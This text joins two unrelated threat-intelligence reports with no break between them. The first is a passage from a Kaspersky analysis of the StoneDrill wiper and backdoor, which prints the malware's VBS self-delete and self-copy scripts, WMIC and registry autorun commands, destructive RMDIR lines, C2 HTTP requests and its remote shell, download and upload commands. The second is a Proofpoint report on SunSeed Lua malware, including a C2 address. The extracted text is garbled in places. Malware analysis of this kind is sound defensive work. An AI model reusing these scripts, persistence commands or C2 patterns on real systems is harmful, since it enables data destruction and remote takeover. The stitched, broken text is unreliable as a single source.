The goal is to break through the detection of antivirus emulators and heuristic detection.
2.
The second anti-emulation technique is run before the payload execution: this module creates a hidden dialog window, then finds and programmatically clicks the OK button on that dialog.
After that, another series of incorrect WinAPI calls follow.
3.
The malware then finds the file path of the default Internet browser app by looking into the following registry keys: a. SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\Us erChoice b. HKCR\ProgId_val\shell\open\command 4.
The malware then checks to ensure the browser is not LaunchWinApp.exe or is compiled for the 64-bit architecture, in which case the path of PROGRAM_FILESX86\Internet Explorer\iexplore.exe is used instead.
5.
The default browser is then started and the wiper module is injected into the running browser memory.
6.
After the successful start of the wiper module, the following script is dropped and executed: temp\C-Dlt-C-Org-T.vbs 7.
Another temporary file is dropped temp\C-Dlt-C-Trsh-T.tmp which contains the name of the Injector module this file is deleted after execution is completed.
WScript.
Sleep(10  1000) On Error Resume Next Set WshShell  CreateObject(Scripting.
FileSystemObject) While WshShell.
FileExists(selfname) WshShell.
DeleteFile selfname Wend WScript.
Sleep(10  1000) WshShell.
DeleteFile temp\C-Dlt-C-Org-T.vbs Set WshShell  Nothing temp\C-Dlt-C-Org-T.vbs File contents 2.4.1.
The StoneDrill Disk Wiper Module SHA256 bf79622491dc5d572b4cfb7feced055120138df94ffd2b48ca629bb0a77514cc MD5 697c515a46484be4f9597cb4f39b2959 Compiled 2016.11.14 21:16:40 (GMT), VC 2015 Type I386 GUI EXE Size 130 560 bytes Unlike Shamoon, the StoneDrill disk wiper module is not written onto disk but instead is injected directly into the users preferred browser process memory.
This module inherits the second anti- emulation trick only (clicking the button on the hidden dialog window) it is also obfuscated with the same alphabet-based string encryption.
If the browser process privileges do not permit the raw disk wiping, only the user-accessible files are deleted.
Depending on the configuration, this module wipes with random data one of following possible targets: All accessible physical drives by using the device path \\.\PhysicalDrive All accessible logical drives by using device path \\.\X: Recursively wipes and deletes files in all folders except Windows on all accessible logical drives Places a special emphasis on wiping files named asdhgasdasdwqedigits in the root folder of the disk.
Just like Shamoon, after the wipe process is completed, the system is rebooted.
2.5.
The StoneDrill backdoor According to the PE timestamps from StoneDrill sample two and sample one (2016.10.19 and 2016.11.14 respectively), this malware file was compiled a month before the previously described StoneDrill sample.
However, internally this tool wrapper (injector) looks like a more modern evolution of the previously discussed wiper wrapper.
The sample is generally of low quality, with many unused code blocks, unreliable anti-emulation and few non critical bugs.
In some cases functions are executed but the results are not used: Is the current user a domain administrator?
Is the antivirus process currently running?
Is the current process running in a virtual environment such as VMware or VirtualBox?
2.6.
The StoneDrill Installer/Injector module SHA256 69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db MD5 ac3c25534c076623192b9381f926ba0d Compiled 2016.10.19 14:26:01 (GMT), VC 2015 Type I386 GUI EXE Size 195072 bytes 2.6.1.
First step: anti-emulation tricks This module is very similar to the above discussed injector module, utilizing the same set of anti-emulation tricks, injection into the users preferred browser and VBS scripts.
A distinction in this sample is the wide utilization of the WMI command-line (WMIC) utility to run tasks such as running the dropped VBS script or making registry modifications.
Strings in this module are encrypted in two ways: Alphabet replacement SSE XOR 0x5235 2.6.2.
Second step: name construction and installation This module checks if it is already running from the COMMON_APPDATA\Chrome folder.
In cases where the malware is started from a different folder, the installation procedure is started.
During installation, a name is constructed through concatenation of three randomly selected strings from the below three sets, for example - PowerNetworkProxy, RAMFirewallTransfer, LocationAgentFramework: Set1 Intel, AMD, Microsoft, Windows, Java, Adobe, Cisco, SunGard, Query, Location, Power, NFC, DotNet, MFC, WMI, SQL, Office, Bitlocker, Map, Fingerprint, Packet, Registery, RAM, CPU, ROM, Memory, Monitor, CDROM, Run-time, Task, Ethernet, Application, Lockscreen, Cloud, Browser, Cash, Desktop, Display Set2 File, System, Service, Device, Software, Hardware, VM, Network, Performance, Graphic, Engine, Agent, Data, Wizard, Server, Media, History, Storage, Core, boot, Gaming, Firewall Set3 Manager, Arranger, Controller, Host, Help, Diagnostics, LogOn, Plug, Proxy, Events, Transfer, Policy, Recovery, Details, Provider, Adapter, CleanUp, Encryption, Extention, APP, Client, Menu, Stub, Execute, Luncher, Framework, Tester, Model, Backup, API The VBS script TEMP\C-PDC-C-Cpy-T.vbs is then dropped in TEMP\ On Error Resume Next Set WshShell  CreateObject(Scripting.
FileSystemObject) WshShell.
CopyFile SELF_NAME , COMMON_APPDATA\Chrome\SELECTED_NAME.exe Set WshShell  Nothing C-PDC-C-Cpy-T.vbs body template The script is executed using the following command to do self-copy into the COMMON_APPDATA\Chrome folder: cmd /c WMIC Process Call Create C:\Windows\System32\Wscript.exe //NOLOGO TEMP\C-PDC-C-Cpy- T.vbs Another VBS script named C-PDI-C-Cpy-T.vbs is dropped into TEMP folder and executed in the same method (via WMIC used to make a second malware copy with pathname) C:\ProgramData\InternetExplorer\SELECTED_NAMEStp.exe On Error Resume Next Set WshShell  CreateObject(Scripting.
FileSystemObject) WshShell.
CopyFile COMMON_APPDATA\Chrome\SELECTED_NAME.exe , C:\ProgramData\InternetExplorer\SELECTED_NAMEStp.exe C-PDI-C-Cpy-T.vbs body template Pathnames of these two VBS files as well as the initial malware pathname are written into TEMP\C-Dlt-C-Trsh-T.tmp file.
At the end of the installation procedure the copy of malware (found in COMMON_APPDATA\Chrome\SELECTED_NAME.exe) is executed (via cmd /c wmic process call create) and the initial process terminates itself.
2.6.3.
Third step When the malware is started from within the COMMON_APPDATA\Chrome folder, the FileInfo.txt file is created in the same folder and contains the pathname of the first copy of malware (COMMON_APPDATA\Chrome\SELECTED_NAME.exe) Then the third copy of the malware is created by the command COMSPEC /c copy SELFNAME TEMP\bd891.tmp, which checks the target file to verify if command execution is successful, then deletes the bd891.tmp file.
The last mentioned is used as another anti-emulation trick in the StoneDrill arsenal.
2.6.4.
Fourth step: Payload injection The payload is extracted from the resources section, decrypted and unpacked similarly to the previously described wiper injector module.
The difference here is that for the decryption of the payload module, SSE instructions are used.
In the same style, the payload is injected into the user preferred browser process, with an additional step after the payload module injection: the resource segment responsible for the payload configuration is replaced in memory with the resource taken from the parent module.
After the payload start is attempted, the VBS files listed inside C-Dlt-C-Trsh-T.tmp and C-Dlt- C-Trsh-T.tmp are deleted.
2.6.5.
Fifth step: If not started If the payload is not started, then TEMP\C-Dlt-C-Org-T.vbs is dropped and executed to delete initial malware copy.
WScript.
Sleep(10  1000) On Error Resume Next Set WshShell  CreateObject(Scripting.
FileSystemObject) While WshShell.
FileExists(initial_malware_pathname) WshShell.
DeleteFile initial_malware_pathname Wend WScript.
Sleep(10  1000) WshShell.
DeleteFile TEMP\C-Dlt-C-Org-T.vbs Set WshShell  Nothing 2.7.
StoneDrill remote access payload module SHA256 105ee777ad31a58301310719b49c7b6a7e957823e4dabbfeaa6a14e313008c1b MD5 e3a82d1db3ae8b189d2e1e0a22d6c82f Compiled 2016.10.19 16:49:36 (GMT), VC 2015 Type I386 GUI EXE Size 317 440 bytes Version 2.0.1610.76 This module is not dropped into disk but injected directly into the user preferred browser process memory.
The module is written in C with the use of STL classes, with numerous forgotten debug strings.
2.7.1.
First step: Decryption Strings in this module are encrypted by ROR, NEG, ADD or simply XOR.
An unreliable anti- emulation technique is utilized which makes the whole module unstable.
The author assumed that the execution of the Sleep function with parameter 4020 milliseconds would increase the system value of KUSER_SHARED_DATA::InterruptTime to four seconds (rounded to the nearest second).
If the InterruptTime is increased only by two seconds this module just exits immediately.
In case of other values, the module will crash due to the incorrect decryption of strings.
The configuration block is then loaded from resources and decrypted by two passes of XOR.
The original module configuration resource is empty - the injector module just patches this resource, replacing the configuration with its own.
In the configuration block, ux and uy are the CC servers, Cid is part of the connection query and seems to be a client ID.
2.7.2.
Second step: Registering autorun of installer (injector) module The malware reads and de-XORs content of the C:\ProgramData\InternetExplorer\FileInfoStp.txt file, then deletes and unregisters the autorun file defined in FileInfoStp.txt (autorun key deleted from registry) with the command: cmd /c REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Stp /f Next, the file C:\ProgramData\InternetExplorer\FileInfoStp.txt is deleted and replaced by the command: cmd /c Copy /Y C:\ProgramData\Chrome\FileInfo.txt C:\ProgramData\InternetExplorer\FileInfoStp.txt The malware then drops and executes file TEMP\C-Strt-C-Up-T.bat ping 1.0.0.0 -n 1 -w 20000  nul ECHO OFF wmic /NameSpace:\\root\default Class StdRegProv Call SetStringValue hDefKey  H80000001 sSubKeyName  Software\Microsoft\Windows\CurrentVersion\Run sValue C:\ProgramData\InternetExplorer\SELECTED_NAMEStp.exe sValueName  Stp Del TEMP\C-Strt-C-Up-T.bat 2.7.3.
Third step: CC server selection Multiple attempts are made to connect to the hosts configured in the ux and uy fields (found in the sample configuration).
The malware issues GET requests to ct_if/ctpublic/Check_Exist.php.
The server answering with the HANW-J6YS-P81J-KSD7 string is selected as the current live server.
CC login The next connection is a login attempt with the following request: POST / HTTP/1.1 Host: www.eservic.com User-Agent: Mozilla/5.0 (Windows NT 6.1 rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/html,application/xhtmlxml,application/xmlq0.9,/q0.8 Accept-Language: en-US,enq0.5 Referer: http://www.eservic.com/ Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 96 usernameMD5Sum(login)passwordMD5Sum(password)buttonLogin 2.7.4.
Fourth step: Get commands list During the fourth step, the malware requests available commands from the CC: GET /insert/index?idcid_from_configrandom_part_of_client_idhstbase64encoded_computer_and_user_ name_cpuid0_checksumttype102sta te201 HTTP/1.1 Host: www.eservic.com Accept: text/html,application/xhtmlxml,application/xmlq0.9,/q0.8 Accept-Language: en-US,enq0.5 Cookie: string_received_in_login_step Connection: close Here is a list of the StoneDrill commands available: Command Internal Help Strings Command Description os 1.
OS (The is Response the Operating System of the Client Machine) Return details about Windows version, edition, architecture and environment version 2.
Version (The Response is Version of Running Product on the Client Machine) 2.0.1610.76 string returned time 3.
Time (The Response is Current Time of the Client Machine) Current system and local time are returned shell 4.
Shell Value (Give You Access the CMD Console in the Client Machine Value is Anything that You Want to Writing in the CMD Console of the Client Machine and Execute it) Stdout/stderr streams of executed cmd.exe /C value command are captured and send back to CC screenshot 5.
Screenshot (The Response is a JPEG File of the Screenshot of the Client Machine Desktop) 1-At first the malware takes screenshot into randomly named .bmp file in TEMP folder.
2-Then takes second screenshot, now with jpeg compression and store it as .jpg file with random name.
In case of success jpg creation bmp file is deleted.
3-Send screenshot file to CC and delete temporary files.
delay 6.
Delay Value (Adjust the Time-Interval for the Server and Client Communication Value can be Between 1000-100000 1000 is High- End Speed) download 7.
Download From To (Download a File From a URL To a Directory on the Client Machine) Downloaded file initially stored as TEMP\Test.tmp, then deXORed with 0xCC and copied to specified location with VBS script C- Dled-C-Cpy-T.vbs as previously described, file is then executed with command: cmd /c WMIC Process Call Create C:\Windows\System32\Wscri pt.exe //NOLOGO upload 8.
Upload From (Upload a File From a Directory on the Client Machine) update 9.
Update From (Download the New Version of the Product From a URL and Execute it on the Client Machine) Downloaded file initially stored with random name inside TEMP folder, then renamed by using C- Uptd-C-Cpy-T.vbs and C-Up-C-Dt-T.bat similar to previous steps uninstall 10.
Uninstall (Uninstall The Running Product from the Client Machine and Delete All Side- Effects) Unregister autorun with  command: cmd /c REG DELETE HKCU\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run /v Stp /f Then drop and run C-Un-C-Instl-T.bat with body: ping 1.1.1.1 -n 5 -w 2000  nul RMDIR /S /Q C:\ProgramData\Chrome\ RMDIR /S /Q C:\ProgramData\InternetExplorer\ Del TEMP\C-Un-C-Instl-T.bat Then terminates itself.
antivirus 11.
Antivirus (The Response is Installed Antivirus on the Client Machine) Queries Windows Management Instrumentation (WMI) database for installed AntiVirusProduct details.
Runs additional registry lookups for details of: Avast, McAfee, Avg, BitDefender products.
help 12.
Help (Response is the List of Supported Commands in the Current Version of Product that Running on the Client Machine) List title is -Command List of the Current Vesrion are: 2.8.
StoneDrill similarities with Shamoon Of course, one of the most important questions is the following: are StoneDrill and Shamoon connected?
This is a difficult question to answer.
However, by listing the similarities and differences between the two, anyone can come up with their own answer.
Although we used a Yara built on Shamoon samples to find StoneDrill, there are several other similarities between the two: Both Shamoon and StoneDril appear to be targeting Saudi organizations.
Samples have been compiled around the same time - October-November 2016.
Similar to previous generations of Shamoon, StoneDrill uses encrypted PE resources to store the actual payload.
The most important differences include: To avoid detection by emulators and sandboxing tools, the StoneDrill authors used far more advanced anti-emulation techniques than Shamoon.
StoneDrill utilises VBS scripts to run self-delete scripts, while Shamoon didnt use any external scripts.
A distinction from the Shamoon malware is that the strings encryption in StoneDrill is performed by alphabet table replacement.
StoneDrill does not use drivers during deployment, but rather through memory injection into the victims preferred browser.
2.9.
StoneDrill similarities with NewsBeef Our initial analysis of StoneDril revealed some similarities with a threat actor weve seen before - NewsBeef.
While we call this the NewsBeef APT, this group has been reported in the past as Charming Kitten or Newscaster (in 2014).
The similarities between NewsBeef and StoneDrill make us believe there is a very strong connection there.
Below we list some of the similarities we observed: 2.9.1.
Winmain Signature In NewsBeef: B8 08 00 FE 7F FF 30 8F 44 24 20 68 B4 0F 00 00 FF 15 78 70 44 00 B8 08 00 FE 7F FF 30 8F 44 24 24 8B 4C 24 24 2B 4C 24 20 B8 6B CA 5F 6B F7 E1 C1 EA 16 80 EA 02 88 15 95 71 45 00 In StoneDrill: B8 08 00 FE 7F FF 30 8F 44 24 14 68 B4 0F 00 00 FF 15 4C B0 63 00 B8 08 00 FE 7F FF 30 8F 44 24 10 8B 44 24 10 33 D2 2B 44 24 14 B9 80 96 98 00 F7 F1 2C 02 A2 61 D6 64 00 2.9.2.
The OS command In NewsBeef: In StoneDrill: In StoneDrill 2.9.3.
The Update command In NewsBeef: In StoneDrill: 2.9.4.
The Strings Decryption routine In NewsBeef: In StoneDrill: 2.9.5.
The Payload Winmain In NewsBeef: In StoneDrill: 2.9.6.
Command center name similarities Besides the technical code similarities listed above, we noticed that the naming scheme for the NewsBeef and StoneDrill CCs is quite similar.
For instance: StoneDrill NewsBeef www.chromup[.
]com www.chrome-up[.
]date service1.chrome-up[.
]date service.chrome-up[.
]date www.eservic[.
]com www.serveirc[.
]com 3.
Conclusions Our discovery of StoneDrill gives another dimension to the existing wave of wiper attacks against Saudi organizations that started with Shamoon 2.0 in November 2016.
Compared to the new Shamoon 2.0 variants, the most significant difference is the lack of a disk driver used for direct access during the destructive step.
Nevertheless, one does not necessarily need raw disk access to perform destructive functions at file level, which the malware implements quite successfully.
Of course, one of the most important questions here is the connection between Shamoon and StoneDrill.
Both wipers appear to have been used against Saudi organizations during a similar timeframe of October-November 2016.
Several theories are possible here: StoneDrill is a less-used wiper tool, deployed in certain situations by the same Shamoon group.
StoneDrill and Shamoon are used by different groups which are aligned in their interests.
StoneDrill and Shamoon are used by two different groups which have no connection to each other and just happen to target Saudi organizations at the same time.
Taking all factors into account, our opinion is that the most likely theory is the second.
Additionally, StoneDrill appears to be connected with previously reported NewsBeef activity, which continues to target Saudi organizations.
From this point of view, NewsBeef and StoneDrill appear to be continuously focused on targeting Saudi interests, while Shamoon is a flashy, come-and-go high impact tool.
In terms of attribution, while Shamoon embeds Arabic-Yemen resource language sections, StoneDrill embeds mostly Persian resource language sections.
Geopolitical analysts would be quick to point out that Iran and Yemen are both players in the Iran-Saudi Arabia proxy conflict.
Of course, we do not exclude the possibility of false flags.
Finally, many unanswered question remain in regards to StoneDrill and NewsBeef.
The discovery of the StoneDrill wiper in Europe is a significant sign that the group is expanding its destructive attacks outside the Middle East.
The target for the attack appears to be a large corporation with a wide area of activity in the petro-chemical sector, with no apparent connection or interest in Saudi Arabia.
As usual, we will continue to monitor the Shamoon, StoneDrill and NewsBeef attacks.
A presentation about StoneDrill will be given at the Kaspersky Security Analyst Summit Conference, on April 2-6, 2017.
Kaspersky Lab products detect the Shamoon and StoneDrill samples as: Trojan.
Win32.EraseMBR.a Trojan.
Win32.Shamoon.a https://en.wikipedia.org/wiki/IranE28093Saudi_Arabia_proxy_conflict Trojan.
Win64.Shamoon.a Trojan.
Win64.Shamoon.b Backdoor.
Win32.RemoteConnection.d Trojan.
Win32.Inject.wmyv Trojan.
Win32.Inject.wmyt HEUR:Trojan.
Win32.Generic 4.
Appendices 4.1.
Indicators of Compromise 4.1.1.
Shamoon MD5s 00c417425a73db5a315d23fac8cb353f 271554cff73c3843b9282951f2ea7509 2cd0a5f1e9bcce6807e57ec8477d222a 33a63f09e0962313285c0f0fb654ae11 38f3bed2635857dc385c5d569bbc88ac 41f8cd9ac3fb6b1771177e5770537518 5446f46d89124462ae7aca4fce420423 548f6b23799f9265c01feefc6d86a5d3 63443027d7b30ef0582778f1c11f36f3 6a7bff614a1c2fd2901a5bd1d878be59 6bebb161bc45080200a204f0a1d6fc08 7772ce23c23f28596145656855fd02fc 7946788b175e299415ad9059da03b1b2 7edd88dd4511a7d5bcb91f2ff177d29d 7f399a3362c4a33b5a58e94b8631a3d5 8405aa3d86a22301ae62057d818b6b68 8712cea8b5e3ce0073330fd425d34416 8fbe990c2d493f58a2afa2b746e49c86 940cee0d5985960b4ed265a859a7c169 9d40d04d64f26a30da893b7a30da04eb aae531a922d9cca9ddca3d98be09f9df ac8636b6ad8f946e1d756cd4b1ed866d af053352fe1a02ba8010ec7524670ed9 b4ddab362a20578dc6ca0bc8cc8ab986 baa9862b027abd61b3e19941e40b1b2d c843046e54b755ec63ccb09d0a689674 d30cfa003ebfcd4d7c659a73a8dce11e da3d900f8b090c705e8256e1193a18ec dc79867623b7929fd055d94456be8ba0 ec010868e3e4c47239bf720738e058e3 efab909e4d089b8f5a73e0b363f471c1 4.1.2.
StoneDrill MD5s ac3c25534c076623192b9381f926ba0d 0ccc9ec82f1d44c243329014b82d3125 8e67f4c98754a2373a49eaf53425d79a fb21f3cea1aa051ba2a45e75d46b98b8 4.1.3.
StoneDrill C2s www.eservic[.
]com www.securityupdated[.
]com www.actdire[.
]com www.chromup[.
]com www.chrome-up[.
]date service1.chrome-up[.
]date service.chrome-up[.
]date www.serveirc[.
]com 1.
From Shamoon to StoneDrill: the discovery 1.1.
Shamoon: Its all about the resources 1.2.
From StoneDrill to NewsBeef 2.
Technical details - Shamoon 2.0 - language usage and possible Yemeni links 2.1.
32-bit Shamoon dropper/worm (ntssrvr32.exe) 2.1.1.
Installation as a Service 2.1.2.
Worm Functionality 2.1.3.
Command and Control (CC) Module 2.1.4.
Wiper and Encryptor Module 2.2.
64-bit Shamoon Dropper (ntssrvr64.exe) 2.2.1.
CC Communication Module (netinit.exe) 2.2.2.
Disk Wiper/Encryptor Module 2.2.3.
Payload Configuration 2.2.4.
Low-Level Disk Access Driver (DRDISK.SYS) 2.3.
From Shamoon 2.0 to StoneDrill 1.0 2.4.
The StoneDrill wiper 2.4.1.
The StoneDrill Disk Wiper Module 2.5.
The StoneDrill backdoor 2.6.
The StoneDrill Installer/Injector module 2.6.1.
First step: self-copy part of installation 2.6.2.
Second step: name construction 2.6.3.
Third step: VBS 2.6.4.
Fourth step 2.6.5.
Fifth step: Payload injection 2.6.6.
Sixth step: If not started 2.7.
StoneDrill remote access payload module 2.7.1.
First step: Decryption 2.7.2.
Second step: Registering autorun of installer (injector) module 2.7.3.
Third step: CC server selection 2.7.4.
Fourth step: Get commands list 2.8.
StoneDrill similarities with Shamoon 2.9.
StoneDrill similarities with NewsBeef 2.9.1.
Winmain Signature 2.9.2.
The OS command 2.9.3.
The Update command 2.9.4.
The Strings Decryption routine 2.9.5.
The Payload Winmain 2.9.6.
Command center name similarities 3.
Conclusions 4.
Appendices 4.1.
Indicators of Compromise 4.1.1.
Shamoon MD5s 4.1.2.
StoneDrill MD5s 4.1.3.
StoneDrill C2s
1/18 March 1, 2022 Asylum Ambuscade: State Actor Uses Compromised Private Ukrainian Military Emails to Target European Governments and Refugee Movement proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military- emails Blog Threat Insight Asylum Ambuscade: State Actor Uses Compromised Private Ukrainian Military Emails to Target European Governments and Refugee Movement March 01, 2022 Michael Raggi, Zydeca Cass and the Proofpoint Threat Research Team Key Takeaways Proofpoint has identified a likely nation-state sponsored phishing campaign using a possibly compromised Ukrainian armed service members email account to target European government personnel involved in managing the logistics of refugees fleeing Ukraine.
The email included a malicious macro attachment which attempted to download a Lua- based malware dubbed SunSeed.
The infection chain used in this campaign bears significant similarities to a historic campaign Proofpoint observed in July 2021, making it likely the same threat actor is behind both clusters of activity.
Proofpoint is releasing this report in an effort to balance accuracy with responsibility to disclose actionable intelligence during a time of high-tempo conflict.
Overview Ambuscade: To attack suddenly and without warning from a concealed place Proofpoint researchers have identified a phishing campaign originating from an email address (ukr[.
]net) that appears to belong to a compromised Ukranian armed service member.
This discovery comes on the heels of alerts by the Ukrainian Computer Emergency Response Team (CERT-UA) and the State Service of Special Communications and Information Protection of Ukraine about widespread phishing campaigns targeting private email accounts of Ukrainian armed service members by UNC1151, which Proofpoint tracks as part of TA445.
The email observed by Proofpoint may represent the next stage of these attacks.
The email included a malicious macro attachment which utilized social engineering themes pertaining to the Emergency Meeting of the NATO Security Council held on February 23, 2022.
The email also contained a malicious attachment which attempted to download https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails https://www.proofpoint.com/us https://www.proofpoint.com/us/blog https://www.proofpoint.com/us/blog/threat-insight https://www.cyberscoop.com/ukrainian-cyber-officials-warn-of-new-wave-of-phishing-attacks/ 2/18 malicious Lua malware named SunSeed and targeted European government personnel tasked with managing transportation and population movement in Europe.
While Proofpoint has not definitively attributed this campaign to the threat actor TA445, researchers acknowledge that the timeline, use of compromised sender addresses aligning with Ukrainian government reports, and the victimology of the campaign align with published TA445 tactics to include the targeting and collection around refugee movement in Europe.
Proofpoint assesses that, in light of the ongoing Russia-Ukraine war, actions by proxy actors like TA445 will continue to target European governments to gather intelligence around the movement of refugees from Ukraine and on issues of importance to the Russian government.
TA445, which appears to operate out of Belarus, specifically has a history of engaging in a significant volume of disinformation operations intended to manipulate European sentiment around the movement of refugees within NATO countries.
These controlled narratives may intend to marshal anti-refugee sentiment within European countries and exacerbate tensions between NATO members, decreasing Western support for the Ukrainian entities involved in armed conflict.
This approach is a known factor within the hybrid warfare model employed by the Russian military and by extension that of Belarus.
Delivery On February 24, 2022, Proofpoint detected an email originating from a ukr[.
]net email address which was sent to a European government entity.
The email utilized the subject IN ACCORDANCE WITH THE DECISION OF THE EMERGENCY MEETING OF THE SECURITY COUNCIL OF UKRAINE DATED 24.02.2022 and included a macro enabled XLS file titled list of persons.xlsx, which was later determined to deliver SunSeed malware.
The social engineering lure utilized in this phishing campaign were very timely, following a NATO Security Council meeting on February 23, 2022 and a news story about a Russian government kill list targeting Ukrainians that began circulating in Western media outlets on February 21, 2022.
The format of the subject included the date 24.02.2022 at the end of subject line and was superficially similar to emails reported by the State Service of Special Communications and Information Protection of Ukraine (SSSCIP) on February 25, 2022.
This alert indicated that mass phishing campaigns were targeting Citizens e-mail addresses in Ukraine.
The timing of the Proofpoint observed campaign is notable as it occurred within close proximity to the campaigns reported by Ukrainian state agencies.
https://www.mandiant.com/resources/unc1151-linked-to-belarus-government https://carnegieendowment.org/2019/07/03/west-fears-russia-s-hybrid-warfare.-they-re-missing-bigger-picture-pub-79412 3/18 Figure 1.
SSSCIP Ukraine reported email including date format 24.02.2022.
https://twitter.com/dsszzi/status/1497103078029291522 4/18 Figure 2.
CERT-UA reports of UNC1151 targeting private accounts of Ukrainian military personnel.
Open-source research on the sender email address identified the account on a Ukrainian public procurement document for a Stihl lawn mower in 2016.
The email account was listed as the contact address on the purchase, while the customer was listed as 2622 or military unit A2622.
This title, as well as the address listed, appear to refer to a military barracks that houses a military unit in   or the Chernihiv region of Ukraine.
While Proofpoint has not definitively determined that this detected campaign is aligned with the phishing campaigns reported by the Ukrainian government or that this activity can be attributed to TA445, researchers assess that this may represent a continuation of the campaigns that utilize compromised Ukrainian personal accounts of armed service members to target the governments of NATO members in Europe.
https://www.facebook.com/UACERT/posts/312939130865352 5/18 Figure 3.
Ukrainian military procurement documents including possible compromised sender email as contact.
Macro Enabled Attachments The malicious XLS attachment observed in the email was laden with a simple but distinct macro.
When enabled, it executes a VB macro named Module1 which creates a Windows Installer (msiexec.exe) object invoking Windows Installer to call out to an actor-controlled staging IP and download a malicious MSI package.
It also sets a Microsoft document UILevel equal to 2 which specifies a user interface level of completely silent installation.
This hides all macro actions and network connections from the user.
The actor accesses the delivery IP via the Microsoft Installer InstallProduct method which is intended https://docs.microsoft.com/en-us/windows/win32/msi/uilevel https://docs.microsoft.com/en-us/windows/win32/msi/downloading-an-installation-from-the-internet 6/18 to obtain an MSI install file from a URL, save it to a cached location, and finally begin installation of the MSI package.
Since the actor is utilizing an MSI package as an installer for a Lua-based malware, this method is well suited to be deployed via a malicious macro-laden document delivered via phishing.
Figure 4.
Observed malicious macro within list of persons.xlsx.
SunSeed Lua Malware Installation Analysis of the actor-controlled delivery infrastructure identified an MSI package which installed a series of Lua-based dependencies, executed a malicious Lua script that Proofpoint has dubbed SunSeed, and established persistence via an LNK file installed for autorun at Windows Startup.
This file, named qwerty_setup.msi, was previously identified publicly by https://twitter.com/cybercdh/status/1497486233743863812 7/18 security researcher Colin Hardy in response to Proofpoints initial content regarding this threat.
The package installs 12 legitimate Lua dependencies, a Windows Lua interpreter, a malicious Lua script (SunSeed), and a Windows shortcut LNK file for persistence.
Notably, the legitimate Windows Lua interpreter sppsvc.exe has been modified so it does not print any output to the Windows Console.
This is likely an effort to conceal the malware installation from the infected user.
All files, except for the LNK file, are installed to the folder C:\ProgramData\.security-soft\.
The LNK persistence script, which executes the SunSeed command print.lua via the Window Lua interpreter, is saved to the directory C:\ProgramData\.security-soft\sppsvc.exe to be executed at startup.
This executes the malicious SunSeed Lua script print.lua that attempts to retrieve additional malicious Lua code from the actor command and control (C2) server.
Legitimate Files and Lua Dependencies: luacom.dll (LuaCom Library) ltn12.lua (LuaSocket: LTN12 module) mime.lua (MIME support for the Lua language) http.lua (HTTP library for Lua) url.lua (luasocket) tp.lua (luasocket) socket.lua (luasocket) tp.lua core.dll mime.dll lua51.dll sppsvc.exe (Lua Windows Standalone Interpreter  modified to suppress console output) 6 characters.rbs (Windows Installer Rollback Script) Persistence File: Software Protection Service.lnk Installation Directory: \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Software Protection Service.lnk Malicious SunSeed Lua Script: print.lua 7bf33b494c70bd0a0a865b5fbcee0c58fa9274b8741b03695b45998bcd459328 https://twitter.com/threatinsight/status/1497355737844133895 8/18 Figure 5.
Asylum Ambuscade - Campaign Snapshot.
Proofpoint researchers observed several distinct and unusual aspects about the MSI package upon closer inspection.
The actor utilized the Japanese Shift-JIS code base, resulting in a Japanese language installation message upon launching the MSI package.
This may be a rudimentary false flag intended to conceal the spoken language of the threat actor.
Additionally, examination of the cryptography calls made by the package during installation indicates that the MSI file appears to have been created using a dated version of WiX Toolset version 3.11.0.1528.
This is an open-source software that allows users to build MSIs without requiring additional software on a build server from the command line.
This version was last updated in 2017 with a more recent update being pushed in 2019 and an entirely new version of the toolset made available in May 2021.
9/18 Figure 6.
Japanese code base MSI package installation display.
Figure 7.
MSI package cryptography call indicating Windows Installer XML version.
SunSeed Malware Capabilities: A Lua Downloader Based on decoding of the SunSeed print.lua malicious second stage payload script, it appears to be a simple downloader which obtains the C Drive partition serial number from the host, appends to a URL request via a Lua socket, consistently pings the C2 server for additional 10/18 Lua code, and executes the code upon receiving it within a response.
At the time of analysis, Proofpoint did not receive additional Lua code from the C2 server.
However, researchers believe that this is likely intended to deliver subsequent stage payloads to the infected host.
Further attempts to decode the SunSeed Lua host included several notable strings that may suggest a possible response from the actor-controlled server.
These strings do not appear to be part of the initial SunSeed scripts functionality in the absence of a C2 server response.
Observed string values include, but are not limited to: serial string luacom CreateObject Scripting.
FileSystemObject Drives SerialNumber socket.http request http://84.32.188[.
]96/ socket sleep Command and Control The SunSeed malware when executed issues GET requests over HTTP via port 80 using a Lua Socket.
The requests are issued to the C2 server every three seconds anticipating a response.
The malware specifies the user agent as LuaSocket 2.0.2 and appends the infected targets C Drive partition serial number to the URI request.
This is a unique decimal digit value assigned to a drive upon creation of the file system.
It may be an attempt by actors to track infected victims on the backend per their unique serial number.
Additionally, this may allow operators to be selective about which infections are issued a next stage payload response.
Based on the observed strings in the Lua script, researchers speculate that the server response may include further malicious commands, or a Lua based installer code which is executed as a response to the SunSeed payload, depending on the received serial identification number.
Figure 8.
SunSeed Lua malware C2 communication.
Victimology and Targeting 11/18 With the finite data set available to Proofpoint surrounding this campaign, limited conclusions can be drawn regarding targeting.
The Proofpoint-observed email messages were limited to European governmental entities.
The targeted individuals possessed a range of expertise and professional responsibilities.
However, there was a clear preference for targeting individuals with responsibilities related to transportation, financial and budget allocation, administration, and population movement within Europe.
This campaign may represent an attempt to gain intelligence regarding the logistics surrounding the movement of funds, supplies, and people within NATO member countries.
Attribution Remains Unclear Several temporal and anecdotal indicators exist which suggest that this activity aligns with reported campaigns by the threat actor TA445/UNC1151/Ghostwriter.
However, Proofpoint has not yet observed concrete technical overlaps which would allow us to definitively attribute this campaign to this actor.
In addition to the notable overlaps with Ukrainian government reported campaigns referenced previously, the victimology of this campaign with prominent NATO governments being targeted and a possible focus on the movements of refugees in NATO countries recalls historic motivations of TA445s information operations circa 2021.
Specifically, the anti-migratory narratives disseminated by the group also referred to as Ghostwriter during the 2021 migratory crisis in which Belarus intentionally funneled refugees to the Polish border belies a possible connection between this 2022 campaign and TA445s historic mandate.
Mainly both campaigns may indicate the weaponization of migrants and refugees of war through a hybrid information warfare and targeted cyber- attack model.
